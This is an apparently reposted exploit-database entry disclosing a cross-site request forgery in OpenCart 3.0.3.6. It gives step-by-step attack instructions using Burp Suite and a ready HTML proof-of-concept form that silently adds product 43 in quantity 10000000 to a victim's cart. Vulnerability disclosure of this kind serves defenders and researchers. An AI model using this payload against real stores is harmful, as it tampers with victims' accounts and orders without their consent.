Opencart 3.0.3.6 cross site request forgery Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2020-12-10 | Type : webapps | Platform : php
This exploit / vulnerability Opencart 3.0.3.6 cross site request forgery is for educational purposes only and if it is used you will do on your own risk!

[+] Code ...

# Exploit Title: OpenCart 3.0.3.6 - Cross Site Request Forgery
# Date: 12-11-2020
# Exploit Author: Mahendra Purbia {Mah3Sec}
# Vendor Homepage: https://www.opencart.com
# Software Link: https://www.opencart.com/index.php?route=cms/download
# Version: OpenCart CMS - 3.0.3.6
# Tested on: Kali Linux

#Description:
This product have the functionality which let user to add the wish-list of other user in to his/her cart. So, user A can add products to his/her wish-list and can make his/her wish-list public which let other users to see the wish-list. Now, as user B there is a button of add to cart , when you click on it that public wish-list will be added in to your cart.

#Additional Information:
well i found this vulnerability in Opencart based websites but they not respond so i installed a lest version of Opencart CMS and hosted on localhost with help of XAMP and then i exploited that vulnerability.
Attack Vector:
1. create two accounts A(attacker) & B(victim)
2. login with A and add a product in cart and capture that particular request in burpsuite.
3. Now change the quantity if want and then create a csrf poc of that request.
4. Save it as .html and send it to victim. Now the product added to victims cart.

#POC:
<html>

<body>
<script>history.pushState('', '', '/')</script>
<form action="http://localhost/shop/index.php?route=checkout/cart/add" method="POST">
<input type="hidden" name="product_id" value="43" />
<input type="hidden" name="quantity" value="10000000" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>